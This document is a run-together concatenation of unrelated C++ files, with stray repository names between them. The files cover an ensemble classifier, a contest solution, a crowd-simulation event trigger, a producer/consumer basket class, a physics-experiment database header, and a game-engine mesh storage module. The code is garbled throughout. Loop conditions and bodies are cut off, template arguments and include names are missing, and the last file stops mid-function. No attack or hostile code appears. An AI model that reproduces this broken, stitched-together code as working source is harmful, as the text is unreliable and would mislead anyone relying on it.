CEnsemble::CEnsemble(const string &Path,const string &FileName) { Name=MyName; //start time for training clock_t start=clock(); //please register file function at first! if((int)FileCreators.size()<=0) { throw(CError("Ensemble: no creating function registered!",106,0)); } ifstream InFile; InFile.open((Path+FileName+"."+Name).c_str(),ios_base::in|ios_base::binary); if(InFile.fail()) { throw(CError("Ensemble: fail open saving file!",101,0)); } //reading int EnsembleSize; InFile.read((char*)&EnsembleSize,sizeof(EnsembleSize)); if(InFile.fail()) throw(CError("Ensemble: read parameter error!",102,0)); CClassifier *Classifier; for(int i=0;i=(int)FileCreators.size()) throw(CError("Ensemble: Error in initializing file!",104,0)); //load it Classifier=FileCreators[j].Creator(Path,FileName+CzString::IntToStr(i)); Classifiers.push_back(Classifier); //weight for this classifier int Weight; InFile.read((char*)&Weight,sizeof(Weight)); if(InFile.fail()) throw(CError("Ensemble: read parameter error!",105,0)); Weights.push_back(Weight); } //time consumed CreatingTime = (double)(clock() - start) / CLOCKS_PER_SEC; } //get predictions of each classifier for a data set vector *CEnsemble::AllClassify(const CDataset &DataSet) const { //for return vector *Predictions=new (vector); //each classifier do predicting for(int i=0;i<(int)Classifiers.size();i++) { CPrediction *Prediction=Classifiers[i]->Classify(DataSet); Predictions->push_back(Prediction); } return Predictions; } //classify a data set CPrediction *CEnsemble::Classify(const CDataset &DataSet) const { return Classify(DataSet,Weights); } //vote predicting, using user-defined weights vector CPrediction *CEnsemble::Classify(const CDataset &DataSet,const vector &UserWeights) const { //start time for training clock_t Start=clock(); //data info // const MATRIX &TrainData=DataSet.GetData(); const CASE_INFO &CaseInfo=DataSet.GetInfo(); //malloc space for result vector Line(CaseInfo.ClassNum,0); DoubleArray2d Result(CaseInfo.Height,Line); //for each base classifier for(int i=0;i<(int)Classifiers.size();i++) { //skip classifier whose weight is zero if(UserWeights[i]==0) continue; //get prediction of each classifier CPrediction *Prediction=Classifiers[i]->Classify(DataSet); const IntArray &PredictedLabels=Prediction->GetPredictedLabelIndices(); //for each instance for(int j=0;j &Predictions) const { return Classify(DataSet,Predictions,Weights); } //vote predicting, using user-defined weights vector CPrediction *CEnsemble::Classify(const CDataset &DataSet,const vector &Predictions,const vector &UserWeights) const { //start time for training clock_t Start=clock(); //check if(UserWeights.size()!=Predictions.size()) throw(CError("Ensemble: error in user-defined weights!",104,0)); //data info // const MATRIX &TrainData=DataSet.GetData(); const CASE_INFO &CaseInfo=DataSet.GetInfo(); //malloc space for result vector Line(CaseInfo.ClassNum,0); DoubleArray2d Result(CaseInfo.Height,Line); //for each base classifier for(int i=0;i<(int)Predictions.size();i++) { //skip classifier whose weight is zero if(UserWeights[i]==0) continue; //get prediction of each classifier const IntArray &PredictedLabels=Predictions[i]->GetPredictedLabelIndices(); //for each instance for(int j=0;j using namespace std; const int MAXN = 2e5 + 3; set< pair< int , int > > part , full; int gain[MAXN] , cost[MAXN] , atMost , reachWork , N; long long totalCost , totalGain , mx ; void add(int idx){ part.insert(make_pair(cost[idx] , idx)); totalCost += cost[idx] / 2 + cost[idx] % 2; totalGain += gain[idx]; while(part.size() > atMost){ idx = part.begin()->second; full.insert(make_pair(cost[idx] , idx)); part.erase(part.begin()); totalCost -= (cost[idx] / 2 + cost[idx] % 2); totalCost += cost[idx]; } } void del(int idx){ if(part.count(make_pair(cost[idx] , idx))){ totalCost -= (cost[idx] / 2 + cost[idx] % 2); part.erase(make_pair(cost[idx] , idx)); } else { totalCost -= cost[idx]; full.erase(make_pair(cost[idx] , idx)); } totalGain -= gain[idx]; while(full.size() > 0 && part.size() < atMost){ idx = full.rbegin()->second; totalCost -= cost[idx]; totalCost += (cost[idx] / 2 + cost[idx] % 2); part.insert(make_pair(cost[idx] , idx)); full.erase(make_pair(cost[idx] , idx)); } } int main(){ scanf("%d%d%d" , &N , &atMost , &reachWork); for(int i = 0 ;i < N ;i ++) scanf("%d" , &gain[i]); for(int i = 0 ;i < N ;i ++) scanf("%d" , &cost[i]); int l = 0 , r = 0; while(l < N){ r = max(r , l); while(r < N){ add(r); if(totalCost > reachWork){ del(r); break; } mx = max(mx , totalGain); r ++; } del(l); l ++; } printf("%I64d\n" , mx); } 1-10 #include #include using namespace std; #define MAX 101 int num[MAX]; int T, n; int main() { ios_base::sync_with_stdio(0); cout.tie(0); cin.tie(0); cin >> T; while (T--) { cin >> n; for (int i=0; i> num[i]; sort(num, num+n); for (int i=n-1; i>=0; i--) cout << num[i] << " "; cout << '\n'; } return 0; } 0 /* License Menge Copyright ?and trademark ?2012-14 University of North Carolina at Chapel Hill. All rights reserved. Permission to use, copy, modify, and distribute this software and its documentation for educational, research, and non-profit purposes, without fee, and without a written agreement is hereby granted, provided that the above copyright notice, this paragraph, and the following four paragraphs appear in all copies. This software program and documentation are copyrighted by the University of North Carolina at Chapel Hill. The software program and documentation are supplied "as is," without any accompanying services from the University of North Carolina at Chapel Hill or the authors. The University of North Carolina at Chapel Hill and the authors do not warrant that the operation of the program will be uninterrupted or error-free. The end-user understands that the program was developed for research purposes and is advised not to rely exclusively on the program for any reason. IN NO EVENT SHALL THE UNIVERSITY OF NORTH CAROLINA AT CHAPEL HILL OR THE AUTHORS BE LIABLE TO ANY PARTY FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES, INCLUDING LOST PROFITS, ARISING OUT OF THE USE OF THIS SOFTWARE AND ITS DOCUMENTATION, EVEN IF THE UNIVERSITY OF NORTH CAROLINA AT CHAPEL HILL OR THE AUTHORS HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. THE UNIVERSITY OF NORTH CAROLINA AT CHAPEL HILL AND THE AUTHORS SPECIFICALLY DISCLAIM ANY WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE AND ANY STATUTORY WARRANTY OF NON-INFRINGEMENT. THE SOFTWARE PROVIDED HEREUNDER IS ON AN "AS IS" BASIS, AND THE UNIVERSITY OF NORTH CAROLINA AT CHAPEL HILL AND THE AUTHORS HAVE NO OBLIGATIONS TO PROVIDE MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR MODIFICATIONS. Any questions or comments should be sent to the authors { */ #include "MengeCore/Agents/Events/StateEvtTrigger.h" #include "MengeCore/Core.h" #include "MengeCore/Agents/Events/EventSystem.h" #include "MengeCore/BFSM/FSM.h" #include "MengeCore/BFSM/State.h" #include namespace Menge { ///////////////////////////////////////////////////////////////////// // Implementation of StateEvtTrigger ///////////////////////////////////////////////////////////////////// StateEvtTrigger::StateEvtTrigger() : EventTrigger(), _stateName(), _state(0x0) { } ///////////////////////////////////////////////////////////////////// void StateEvtTrigger::finalize() { _state = ACTIVE_FSM->getNode( _stateName ); if ( _state == 0x0 ) { std::stringstream ss; ss << "Event trigger unable to to locate state " << _stateName << "."; EventSystem::finalizeException( ss.str() ); } } ///////////////////////////////////////////////////////////////////// // Implementation of StateEvtTriggerFactory ///////////////////////////////////////////////////////////////////// StateEvtTriggerFactory::StateEvtTriggerFactory() : EventTriggerFactory() { _stateID = _attrSet.addStringAttribute( "state", true, "" ); } ///////////////////////////////////////////////////////////////////// bool StateEvtTriggerFactory::setFromXML( EventTrigger * trigger, TiXmlElement * node, const std::string & specFldr ) const { StateEvtTrigger * sTrigger = dynamic_cast< StateEvtTrigger * >( trigger ); assert( sTrigger != 0x0 && "Trying to set attributes of a state event trigger on an incompatible object" ); if ( ! EventTriggerFactory::setFromXML( sTrigger, node, specFldr ) ) return false; sTrigger->_stateName = _attrSet.getString( _stateID ); return true; } ///////////////////////////////////////////////////////////////////// // Implementation of StatePopIncreaseTrigger ///////////////////////////////////////////////////////////////////// // _lastPop is initialized to a ridiculously high number in order to keep // the event from triggering upon initialization. The first call to // testCondition will bring it back down. StatePopIncreaseTrigger::StatePopIncreaseTrigger() : StateEvtTrigger(), _lastPop(100000000) { } ///////////////////////////////////////////////////////////////////// void StatePopIncreaseTrigger::finalize() { StateEvtTrigger::finalize(); _lastPop = _state->getPopulation(); } ///////////////////////////////////////////////////////////////////// bool StatePopIncreaseTrigger::testCondition() { size_t currPop = _state->getPopulation(); bool increased = currPop > _lastPop; _lastPop = currPop; return increased; } } // namespace Menge src/bits_of_matcha/engine/cpu/Buffer.cpp #include "bits_of_matcha/engine/cpu/Buffer.h" #include "bits_of_matcha/engine/cpu/MemoryPool.h" #include "bits_of_matcha/print.h" namespace matcha::engine::cpu { Buffer::Buffer(size_t bytes) : engine::Buffer{CPU, bytes} , memory_{new uint8_t[bytes]} { } Buffer::Buffer(size_t bytes, void* memory) : engine::Buffer{CPU, bytes} , memory_{(uint8_t *)memory} {} Buffer::~Buffer() { MemoryPool::the()->free(this); } void* Buffer::payload() { return memory_; } }#pragma once #include "Global.hpp" #include #include #include class Panier{ public: Panier(size_t maxSize, std::condition_variable* cv); void sendSignal(); void addFruit(int value); int takeFruit(); void addCons(); void popCons(); private: size_t maxSize_; int consNb_; std::vector content_; std::mutex contentMutex_; std::condition_variable* cvPtr_; };xiaohaijin/RHIC-STAR1-10 /*************************************************************************** * * $Id: StDbConfigNode.hh,v 1.17 2011/11/28 17:03:08 dmitry Exp $ * * Author: *************************************************************************** * * Description: Node (directory) & db handle to hold list of dbtables * Now (Dec2000) pure-virtual for hiding db & table (stl) part * *************************************************************************** * * $Log: StDbConfigNode.hh,v $ * Revision 1.17 2011/11/28 17:03:08 dmitry * dbv override support in StDbLib,StDbBroker,St_db_Maker * * Revision 1.16 2001/01/22 18:37:52 porter * Update of code needed in next year running. This update has little * effect on the interface (only 1 method has been changed in the interface). * Code also preserves backwards compatibility so that old versions of * StDbLib can read new table structures. * -Important features: * a. more efficient low-level table structure (see StDbSql.cc) * b. more flexible indexing for new systems (see StDbElememtIndex.cc) * c. environment variable override KEYS for each database * d. StMessage support & clock-time logging diagnostics * -Cosmetic features * e. hid stl behind interfaces (see new *Impl.* files) to again allow rootcint access * f. removed codes that have been obsolete for awhile (e.g. db factories) * & renamed some classes for clarity (e.g. tableQuery became StDataBaseI * and mysqlAccessor became StDbSql) * * Revision 1.15 2000/04/25 18:26:02 porter * added flavor & production time as settable query fields in * table &/or node. Associated SQL updated in mysqlAccessor. * Flavor key supports "+" as an OR symbol. * * Revision 1.14 2000/03/28 17:03:18 porter * Several upgrades: * 1. configuration by timestamp for Conditions * 2. query by whereClause made more systematic * 3. conflict between db-stored comments & number lists resolved * 4. ensure endtime is correct for certain query falures * 5. dbstl.h->handles ObjectSpace & RogueWave difference (Online vs Offline) * * Revision 1.13 2000/01/27 05:54:33 porter * Updated for compiling on CC5 + HPUX-aCC + KCC (when flags are reset) * Fixed reConnect()+transaction model mismatch * added some in-code comments * * Revision 1.12 2000/01/19 20:20:05 porter * - finished transaction model needed by online * - fixed CC5 compile problem in StDbNodeInfo.cc * - replace TableIter class by StDbTableIter to prevent name problems * * Revision 1.11 2000/01/14 14:50:52 porter * expanded use of verbose mode & fixed inconsistency in * StDbNodeInfo::getElementID * * Revision 1.10 2000/01/10 20:37:53 porter * expanded functionality based on planned additions or feedback from Online work. * update includes: * 1. basis for real transaction model with roll-back * 2. limited SQL access via the manager for run-log & tagDb * 3. balance obtained between enumerated & string access to databases * 4. 3-levels of diagnostic output: Quiet, Normal, Verbose * 5. restructured Node model for better XML support * * Revision 1.9 1999/12/28 21:31:41 porter * added 'using std::vector' and 'using std::list' for Solaris CC5 compilation. * Also fixed some warnings arising from the CC5 compiles * * Revision 1.8 1999/12/03 22:24:01 porter * expanded functionality used by online, fixed bug in * mysqlAccessor::getElementID(char*), & update StDbDataSet to * conform to changes in Xml reader & writer * * Revision 1.7 1999/10/19 14:30:38 porter * modifications relevant to use with StDbBroker and future merging with * "params" database structure + some docs + suppressing diagnostics messages * * Revision 1.6 1999/09/30 02:06:03 porter * add StDbTime to better handle timestamps, modify SQL content (mysqlAccessor) * allow multiple rows (StDbTable), & Added the comment sections at top of * each header and src file * **************************************************************************/ #ifndef STDBCONFIGNODE_HH #define STDBCONFIGNODE_HH #include "StDbNode.hh" #include "StDbTableIter.hh" class dbEnvList; class StDbElementIndex; class StDbTable; #ifdef __ROOT_ #include "TROOT.h" #endif class StDbConfigNode : public StDbNode { protected: StDbConfigNode* mfirstChildNode; StDbConfigNode* mnextNode; StDbConfigNode* mparentNode; bool mhasData; int mbranchID; bool misDbNode; void zeroNodes(); public: StDbConfigNode( StDbConfigNode* parent, const char* nodeName, const char* configName); StDbConfigNode( StDbConfigNode* parent, StDbNode& node); StDbConfigNode( StDbType type, StDbDomain domain, const char* nodeName, const char* configName="none"); virtual ~StDbConfigNode(); // node & tree operations void setNextNode(StDbConfigNode* node); void setParentNode(StDbConfigNode* node); void setFirstChildNode(StDbConfigNode* node); virtual void setChildNode(StDbConfigNode* node); void appendNode(StDbConfigNode* node); StDbConfigNode* getNextNode(); StDbConfigNode* getParentNode(); StDbConfigNode* getFirstChildNode(); void deleteTree(); virtual void addChildren(dbEnvList* elist) = 0; void deleteChildren(); // check container status bool hasChildren(); bool hasData(); int getBranchID(); void setBranchID(int branchID); void setIsDbNode(bool isDbNode); bool isDbNode(); void printTree(int depth); // DB & Table Index operations virtual void resetConfig(const char* config, int opt=0) =0; virtual int buildTree(int opt=0) =0; virtual StDbElementIndex* getElementIndex() =0; virtual void setElementIndexInfo(const char* indexName, int indexID) =0; virtual void getElementIndexInfo(char*& indexname, int& indexID) =0; virtual int getNumIndeces() const =0; // Table operations --> pure virtual for db & stl dependencies virtual StDbTable* addDbTable(const char* tableName, const char* version="default") =0; virtual StDbTable* addTable (const char* tableName, const char* version="default") =0; virtual StDbTable* addTable(StDbNode* node) =0; virtual StDbTable* findTable(const char* name, const char* sPath="/")=0; virtual StDbTable* findLocalTable(const char* name) =0; virtual void removeTable(StDbTable* table) =0; virtual StDbTableIter* getStDbTableIter() =0; virtual bool compareTables(StDbTable* tab1, StDbTable* tab2) =0; virtual void printTables(int depth) =0; virtual void printNumberStats() =0; virtual void getNumberStats(unsigned int& nNodes, unsigned int& ntables, unsigned int& numBytes) =0; // set the table flavors in full sub-tree or local list virtual void setTablesFlavor(const char* flavor) =0; virtual void setTablesProdTime(unsigned int ptime) =0; virtual void setTablesProdTimeOverride(unsigned int ptime, char* dbType = 0, char* dbDomain = 0) =0; void setFlavor(const char* flavor); void setProdTime(unsigned int ptime); void setProdTimeOverride(unsigned int ptime, char* dbType = 0, char* dbDomain = 0); // More node operations StDbConfigNode* findConfigNode(StDbType t, StDbDomain d, const char* sPath); StDbConfigNode* findConfigNode(StDbType t, StDbDomain d); StDbConfigNode* findConfigNode(const char* sPath); StDbConfigNode* findChildConfigNode(const char* nodeName); #ifdef __ROOT__ ClassDef(StDbConfigNode,0) #endif }; inline void StDbConfigNode::setNextNode(StDbConfigNode* node){ mnextNode=node;} inline StDbConfigNode* StDbConfigNode::getNextNode() { return mnextNode; }; inline StDbConfigNode* StDbConfigNode::getParentNode() { return mparentNode; }; inline StDbConfigNode* StDbConfigNode::getFirstChildNode(){ return mfirstChildNode; }; inline bool StDbConfigNode::hasData(){ return mhasData;}; inline int StDbConfigNode::getBranchID() { return mbranchID; }; inline void StDbConfigNode::setBranchID(int branchID) { mbranchID=branchID; }; inline void StDbConfigNode::setIsDbNode(bool isDbNode){misDbNode=isDbNode; }; inline bool StDbConfigNode::isDbNode() { return misDbNode; }; inline bool StDbConfigNode::hasChildren(){return (mfirstChildNode) ? true : false; }; #endif src/core/storage.cpp0 namespace Storage{ local u8 null128_png[] = { //TODO(delle) fix this 0x89,0x50,0x4E,0x47,0x0D,0x0A,0x1A,0x0A,0x00,0x00,0x00,0x0D,0x49,0x48,0x44,0x52, 0x00,0x00,0x00,0x80,0x00,0x00,0x00,0x80,0x08,0x02,0x00,0x00,0x00,0x4C,0x5C,0xF6, 0x9C,0x00,0x00,0x00,0x09,0x70,0x48,0x59,0x73,0x00,0x00,0x2E,0x23,0x00,0x00,0x2E, 0x23,0x01,0x78,0xA5,0x3F,0x76,0x00,0x00,0x01,0x04,0x49,0x44,0x41,0x54,0x78,0xDA, 0xED,0xD5,0xB1,0x11,0xC0,0x20,0x10,0x04,0xB1,0xC5,0x7D,0x51,0x3D,0x85,0xE1,0x8C, 0x12,0x20,0xD1,0x46,0x97,0x33,0xBC,0xDA,0xAD,0xDD,0xAA,0x2A,0xFB,0xFE,0xFE,0xD2, 0xD3,0xC6,0x79,0x93,0x6A,0x34,0xED,0xCB,0xDB,0x0F,0x78,0x9D,0x5B,0xCC,0x00,0x06, 0xB8,0xC5,0x0C,0x60,0x80,0xCD,0x00,0x06,0xB8,0xCB,0x0C,0x60,0x80,0xCD,0x00,0x06, 0xD8,0x0C,0x60,0x80,0xCD,0x00,0x06,0xD8,0x0C,0x60,0x80,0xCD,0x00,0x06,0xD8,0x0C, 0x60,0x80,0xCD,0x00,0x06,0xD8,0x0C,0x60,0x80,0xCD,0x00,0x06,0xD8,0x0C,0x60,0x80, 0xCD,0x00,0x06,0xD8,0x0C,0x60,0x80,0xCD,0x00,0x06,0xD8,0x0C,0x60,0x80,0xCD,0x00, 0x06,0xD8,0x0C,0x60,0x80,0xCD,0x00,0x06,0xD8,0x0C,0x60,0x80,0xCD,0x00,0x06,0xD8, 0x0C,0x60,0x80,0xCD,0x00,0x06,0xD8,0x0C,0x60,0x80,0xCD,0x00,0x06,0xD8,0x0C,0x60, 0x80,0xCD,0x00,0x06,0xD8,0x0C,0x60,0x80,0xCD,0x00,0x06,0xD8,0x7E,0x00,0x03,0x18, 0x20,0x06,0x30,0x40,0x0C,0x60,0x80,0x18,0xC0,0x00,0x31,0x80,0x01,0x62,0x00,0x03, 0xC4,0x00,0x06,0x88,0x01,0x0C,0x10,0x03,0x18,0x20,0x06,0x30,0x40,0x0C,0x60,0x80, 0x18,0xC0,0x00,0x31,0x80,0x01,0x62,0x00,0x03,0xC4,0x00,0x06,0x88,0x01,0x0C,0x10, 0x03,0x18,0x20,0x06,0x30,0x40,0x0C,0x60,0x80,0x18,0xC0,0x00,0x31,0x80,0x01,0x62, 0x00,0x03,0xC4,0x00,0x06,0x88,0x01,0x0C,0x10,0x03,0x18,0x20,0x06,0x30,0x40,0x0C, 0x60,0x80,0x18,0xC0,0x00,0x31,0x80,0x01,0x62,0x00,0x03,0x74,0xFA,0x01,0xD7,0x41, 0x0A,0x2B,0x59,0xA3,0x46,0xD2,0x00,0x00,0x00,0x00,0x49,0x45,0x4E,0x44,0xAE,0x42, 0x60,0x82 }; local array& meshes = DeshStorage->meshes; local array& textures = DeshStorage->textures; local array& materials = DeshStorage->materials; local array& models = DeshStorage->models; local array& fonts = DeshStorage->fonts; local array& lights = DeshStorage->lights; }; /////////////// //// @init //// /////////////// void Storage:: Init(){DPZoneScoped; DeshiStageInitStart(DS_STORAGE, DS_RENDER, "Attempted to initialize Logger module before initializing Render module"); //create the storage directories if they don't exist already file_create(str8_lit("data/fonts/")); file_create(str8_lit("data/models/")); file_create(str8_lit("data/textures/")); stbi_set_flip_vertically_on_load(true); //setup null assets //TODO(delle) store null.png and null shader in a .cpp DeshStorage->null_mesh = CreateBoxMesh(1.0f, 1.0f, 1.0f).second; cpystr(NullMesh()->name, "null", 64); //DeshStorage->null_texture = CreateTextureFromMemory(stbi_load_from_memory(null128_png, 338, 0, 0, 0, STBI_rgb_alpha), "null", 128, 128, ImageFormat_RGBA),second; DeshStorage->null_texture = CreateTextureFromFile(str8_lit("null128.png")).second; DeshStorage->null_material = CreateMaterial(str8_lit("null"), Shader_NULL, MaterialFlags_NONE, {0}).second; DeshStorage->null_model = CreateModelFromMesh(NullMesh(), ModelFlags_NONE).second; cpystr(DeshStorage->null_model->name, "null", 64); //create null font (white square) DeshStorage->null_font = (Font*)memory_alloc(sizeof(Font)); fonts.add(DeshStorage->null_font); NullFont()->type = FontType_NONE; NullFont()->idx = 0; NullFont()->max_width = 6; NullFont()->max_height = 12; NullFont()->count = 1; cpystr(NullFont()->name,"null",64); u8 white_pixels[4] = {255,255,255,255}; Texture* nf_tex = CreateTextureFromMemory(white_pixels, str8_lit("null_font"), 2, 2, ImageFormat_BW, TextureType_2D, TextureFilter_Nearest, TextureAddressMode_ClampToWhite, false).second; //DeleteTexture(nf_tex); //!Incomplete DeshiStageInitEnd(DS_STORAGE); } /////////////// //// @mesh //// /////////////// local Mesh* AllocateMesh(u32 indexCount, u32 vertexCount, u32 faceCount, u32 trianglesNeighborCount, u32 facesVertexCount, u32 facesOuterVertexCount, u32 facesNeighborTriangleCount, u32 facesNeighborFaceCount){DPZoneScoped; Assert(indexCount && vertexCount && faceCount); u32 triangleCount = indexCount/3; u32 bytes = 1*sizeof(Mesh) + vertexCount*sizeof(Mesh::Vertex) + indexCount*sizeof(Mesh::Index) + triangleCount*sizeof(Mesh::Triangle) + faceCount*sizeof(Mesh::Face) + trianglesNeighborCount*sizeof(u32) //triangle neighbors + trianglesNeighborCount*sizeof(u8) //triangle edges + triangleCount*sizeof(u32) //face triangles + facesVertexCount*sizeof(u32) + facesOuterVertexCount*sizeof(u32) + facesNeighborTriangleCount*sizeof(u32) + facesNeighborFaceCount*sizeof(u32); Mesh* mesh = (Mesh*)memory_alloc(bytes); char* cursor = (char*)mesh + (1*sizeof(Mesh)); mesh->bytes = bytes; mesh->indexCount = indexCount; mesh->vertexCount = vertexCount; mesh->triangleCount = triangleCount; mesh->faceCount = faceCount; mesh->totalTriNeighborCount = trianglesNeighborCount; mesh->totalFaceVertexCount = facesVertexCount; mesh->totalFaceOuterVertexCount = facesOuterVertexCount; mesh->totalFaceTriNeighborCount = facesNeighborTriangleCount; mesh->totalFaceFaceNeighborCount = facesNeighborFaceCount; mesh->vertexArray = (Mesh::Vertex*)cursor; cursor += vertexCount*sizeof(Mesh::Vertex); mesh->indexArray = (Mesh::Index*)cursor; cursor += indexCount*sizeof(Mesh::Index); mesh->triangleArray = (Mesh::Triangle*)cursor; cursor += triangleCount*sizeof(Mesh::Triangle); mesh->faceArray = (Mesh::Face*)cursor; cursor += faceCount*sizeof(Mesh::Face); mesh->indexes = {mesh->indexArray, indexCount}; mesh->vertexes = {mesh->vertexArray, vertexCount}; mesh->triangles = {mesh->triangleArray, triangleCount}; mesh->faces = {mesh->faceArray, faceCount}; return mesh; } //TODO(delle) change this to take in 8 points pair Storage:: CreateBoxMesh(f32 width, f32 height, f32 depth, color color){DPZoneScoped; width /= 2.f; height /= 2.f; depth /= 2.f; pair result(0, NullMesh()); //check if created already forI(meshes.size()){ if((strcmp(meshes[i]->name, "box_mesh") == 0) && (meshes[i]->aabbMax == vec3{width,height,depth})){ return pair(i, meshes[i]); } } Mesh* mesh = AllocateMesh(36, 8, 6, 36, 24, 24, 24, 24); cpystr(mesh->name, "box_mesh", 64); mesh->idx = meshes.count; mesh->aabbMin = {-width,-height,-depth}; mesh->aabbMax = { width, height, depth}; mesh->center = { 0.0f, 0.0f, 0.0f}; Mesh::Vertex* va = mesh->vertexArray; Mesh::Index* ia = mesh->indexArray; Mesh::Triangle* ta = mesh->triangleArray; Mesh::Face* fa = mesh->faceArray; vec3 p{width, height, depth}; vec3 uv{0.0f, 0.0f}; u32 c = color.rgba; f32 ir3 = 1.0f / M_SQRT_THREE; // inverse root 3 (component of point on unit circle) //vertex array {pos, uv, color, normal(from center)} va[0]={{-p.x, p.y, p.z}, uv, c, {-ir3, ir3, ir3}}; // -x, y, z 0 va[1]={{-p.x,-p.y, p.z}, uv, c, {-ir3,-ir3, ir3}}; // -x,-y, z 1 va[2]={{-p.x, p.y,-p.z}, uv, c, {-ir3, ir3,-ir3}}; // -x, y,-z 2 va[3]={{-p.x,-p.y,-p.z}, uv, c, {-ir3,-ir3,-ir3}}; // -x,-y,-z 3 va[4]={{ p.x, p.y, p.z}, uv, c, { ir3, ir3, ir3}}; // x, y, z 4 va[5]={{ p.x,-p.y, p.z}, uv, c, { ir3,-ir3, ir3}}; // x,-y, z 5 va[6]={{ p.x, p.y,-p.z}, uv, c, { ir3, ir3,-ir3}}; // x, y,-z 6 va[7]={{ p.x,-p.y,-p.z}, uv, c, { ir3,-ir3,-ir3}}; // x,-y,-z 7 //index array ia[ 0]=4; ia[ 1]=2; ia[ 2]=0; ia[ 3]=4; ia[ 4]=6; ia[ 5]=2; // +y face ia[ 6]=2; ia[ 7]=7; ia[ 8]=3; ia[ 9]=2; ia[10]=6; ia[11]=7; // -z face ia[12]=6; ia[13]=5; ia[14]=7; ia[15]=6; ia[16]=4; ia[17]=5; // +x face ia[18]=1; ia[19]=7; ia[20]=5; ia[21]=1; ia[22]=3; ia[23]=7; // -y face ia[24]=0; ia[25]=3; ia[26]=1; ia[27]=0; ia[28]=2; ia[29]=3; // -x face ia[30]=4; ia[31]=1; ia[32]=5; ia[33]=4; ia[35]=0; ia[35]=1; // +z face //triangle array ta[ 0].normal = vec3::UP; ta[ 1].normal = vec3::UP; ta[ 2].normal = vec3::BACK; ta[ 3].normal = vec3::BACK; ta[ 4].normal = vec3::RIGHT; ta[ 5].normal = vec3::RIGHT; ta[ 6].normal = vec3::DOWN; ta[ 7].normal = vec3::DOWN; ta[ 8].normal = vec3::LEFT; ta[ 9].normal = vec3::LEFT; ta[10].normal = vec3::FORWARD; ta[11].normal = vec3::FORWARD; for(s32 i=0; i<12; ++i){ ta[i].p[0] = va[ia[(i*3)+0]].pos; ta[i].p[1] = va[ia[(i*3)+1]].pos; ta[i].p[2] = va[ia[(i*3)+2]].pos; ta[i].v[0] = ia[(i*3)+0]; ta[i].v[1] = ia[(i*3)+1]; ta[i].v[2] = ia[(i*3)+2]; ta[i].neighborCount = 3; ta[i].face = i / 2; } //triangle array neighbor array offsets ta[0].neighborArray = (u32*)(fa + 6); ta[0].edgeArray = (u8*)(ta[0].neighborArray + 36); ta[0].neighbors = {ta[0].neighborArray, 3}; ta[0].edges = {ta[0].edgeArray, 3}; for(s32 i=1; i<12; ++i){ ta[i].neighborArray = ta[i-1].neighborArray+3; ta[i].edgeArray = ta[i-1].edgeArray+3; ta[i].neighbors = {ta[i].neighborArray, 3}; ta[i].edges = {ta[i].edgeArray, 3}; } //triangle array neighbors array ta[ 0].neighbors[0]= 1; ta[ 0].neighbors[1]=11; ta[ 0].neighbors[2]= 9; ta[ 1].neighbors[0]= 0; ta[ 1].neighbors[1]= 3; ta[ 1].neighbors[2]= 5; ta[ 2].neighbors[0]= 3; ta[ 2].neighbors[1]= 9; ta[ 2].neighbors[2]= 7; ta[ 3].neighbors[0]= 2; ta[ 3].neighbors[1]= 1; ta[ 3].neighbors[2]= 4; ta[ 4].neighbors[0]= 5; ta[ 4].neighbors[1]= 3; ta[ 4].neighbors[2]= 6; ta[ 5].neighbors[0]= 4; ta[ 5].neighbors[1]= 1; ta[ 5].neighbors[2]=10; ta[ 6].neighbors[0]= 7; ta[ 6].neighbors[1]= 4; ta[ 6].neighbors[2]=10; ta[ 7].neighbors[0]= 6; ta[ 7].neighbors[1]= 2; ta[ 7].neighbors[2]= 8; ta[ 8].neighbors[0]= 9; ta[ 8].neighbors[1]=11; ta[ 8].neighbors[2]= 7; ta[ 9].neighbors[0]= 8; ta[ 9].neighbors[1]= 0; ta[ 9].neighbors[2]= 2; ta[10].neighbors[0]=11; ta[10].neighbors[1]= 5; ta[10].neighbors[2]= 6; ta[11].neighbors[0]=10; ta[11].neighbors[1]= 0; ta[11].neighbors[2]= 8; //triangle array edges array ta[ 0].edges[0]=0; ta[ 0].edges[1]=2; ta[ 0].edges[2]=1; ta[ 1].edges[0]=2; ta[ 1].edges[1]=1; ta[ 1].edges[2]=0; ta[ 2].edges[0]=0; ta[ 2].edges[1]=2; ta[ 2].edges[2]=1; ta[ 3].edges[0]=2; ta[ 3].edges[1]=0; ta[ 3].edges[2]=1; ta[ 4].edges[0]=0; ta[ 4].edges[1]=2; ta[ 4].edges[2]=1; ta[ 5].edges[0]=2; ta[ 5].edges[1]=0; ta[ 5].edges[2]=1; ta[ 6].edges[0]=0; ta[ 6].edges[1]=1; ta[ 6].edges[2]=2; ta[ 7].edges[0]=2; ta[ 7].edges[1]=1; ta[ 7].edges[2]=0; ta[ 8].edges[0]=0; ta[ 8].edges[1]=2; ta[ 8].edges[2]=1; ta[ 9].edges[0]=2; ta[ 9].edges[1]=0; ta[ 9].edges[2]=1; ta[10].edges[0]=0; ta[10].edges[1]=2; ta[10].edges[2]=1; ta[11].edges[0]=2; ta[11].edges[1]=0; ta[11].edges[2]=1; //face array 0=up, 1=back, 2=right, 3=down, 4=left, 5=forward for(s32 i=0; i<6; ++i){ fa[i].normal = ta[i*2].normal; fa[i].center = ta[i*2].normal * p; fa[i].triangleCount = 2; fa[i].vertexCount = 4; fa[i].outerVertexCount = 4; fa[i].neighborTriangleCount = 4; fa[i].neighborFaceCount = 4; } //face array triangle array offsets fa[0].triangleArray = (u32*)(ta[0].edgeArray + 36); fa[0].triangles = {fa[0].triangleArray, 2}; for(s32 i=1; i<6; ++i){ fa[i].triangleArray = fa[i-1].triangleArray+2; fa[i].triangles = {fa[i].triangleArray, 2}; } //face array triangle arrays for(s32 i=0; i<6; ++i){ fa[i].triangleArray[0]= i*2; fa[i].triangleArray[1]=(i*2)+1; } //face array vertex array offsets fa[0].vertexArray = (u32*)(fa[0].triangleArray+12); fa[0].outerVertexArray = (u32*)(fa[0].vertexArray+24); fa[0].vertexes = {fa[0].vertexArray, 4}; fa[0].outerVertexes = {fa[0].outerVertexArray, 4}; for(s32 i=1; i<6; ++i){ fa[i].vertexArray = fa[i-1].vertexArray+4; fa[i].outerVertexArray = fa[i-1].outerVertexArray+4; fa[i].vertexes = {fa[i].vertexArray, 4}; fa[i].outerVertexes = {fa[i].outerVertexArray, 4}; } //face array vertex array 